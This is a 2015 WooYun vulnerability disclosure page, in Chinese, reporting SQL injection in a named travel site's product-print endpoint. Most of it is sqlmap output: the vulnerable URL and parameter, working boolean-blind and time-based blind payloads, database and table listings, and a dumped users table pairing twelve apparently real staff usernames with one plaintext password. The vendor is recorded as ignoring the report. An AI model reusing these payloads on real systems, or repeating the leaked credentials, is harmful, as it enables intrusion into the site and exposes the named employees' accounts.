当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124848

漏洞标题:芒果网主站SQL注入(大量产品信息泄露+某表明文保存密码)

相关厂商:芒果网

漏洞作者: 安全小飞侠

提交时间:2015-07-06 17:58

修复时间:2015-07-11 18:00

公开时间:2015-07-11 18:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

芒果网主站SQL注入(大量产品信息泄露+某表明文保存密码)

详细说明:

http://www.mangocity.com/index.php/freeline/productinfo_controller/journey_print?thirdpartid=222292p2
注入参数: thirdpartid
GET parameter 'thirdpartid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Parameter: thirdpartid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: thirdpartid=222292p2' AND 7974=7974 AND 'sVkC'='sVkC
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: thirdpartid=222292p2' AND (SELECT * FROM (SELECT(SLEEP(5)))BnJp) AND 'rusc'='rusc
---
[12:06:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0.12


Database: vacation_init
+-----------------------------+---------+
| Table | Entries |
+-----------------------------+---------+
| media | 120239 |
| product_detail_item | 74889 |
| product_journey | 41386 |
| album | 35244 |
| product_journey_album | 28033 |
| product_detail | 24963 |
| keyword | 17194 |
| product_arrival | 14728 |
| product_departure_month | 12257 |
| product_departure | 9594 |
| product_tag | 8797 |
| product | 8321 |
| product_extra | 8321 |
| product_album | 7211 |
| product_lineinfo | 5202 |
| pm_tui | 3125 |
| pm_tui_bak20150618 | 1962 |
| temp_update_product | 1787 |
| product_accommodation | 1458 |
| pm_params | 1268 |
| terms | 797 |
| product_theme | 598 |
| common_config | 415 |
| business_module_bak20150419 | 44 |
| business_module | 43 |
| product_scenery | 36 |
| users | 12 |
| business_type | 10 |
+-----------------------------+---------+
Table: users
[12 entries]
+--------+-------------+-----------+
| roleId | username | password |
+--------+-------------+-----------+
| 0 | chenhuan | mango2015 |
| 0 | xujia | mango2015 |
| 0 | wuhongbo | mango2015 |
| 0 | sunbaoyu | mango2015 |
| 0 | songwanbing | mango2015 |
| 0 | renxianglin | mango2015 |
| 0 | pengwenhui | mango2015 |
| 0 | panwei | mango2015 |
| 0 | liuchunyan | mango2015 |
| 0 | cms | mango2015 |
| 0 | chenjie | mango2015 |
| 0 | zhanglan | mango2015 |
+--------+-------------+-----------+

漏洞证明:

http://www.mangocity.com/index.php/freeline/productinfo_controller/journey_print?thirdpartid=222292p2
注入参数: thirdpartid
GET parameter 'thirdpartid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Parameter: thirdpartid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: thirdpartid=222292p2' AND 7974=7974 AND 'sVkC'='sVkC
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: thirdpartid=222292p2' AND (SELECT * FROM (SELECT(SLEEP(5)))BnJp) AND 'rusc'='rusc
---
[12:06:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0.12

修复方案:

你懂的

版权声明:转载请注明来源 安全小飞侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-11 18:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-11 18:52 | hh2014 ( 普通白帽子 | Rank:225 漏洞数:39 | 继续)

    WooYun: 芒果网两处SQL注入(密码明文存储) 不是和6月30号的重复了么,怎么还通过了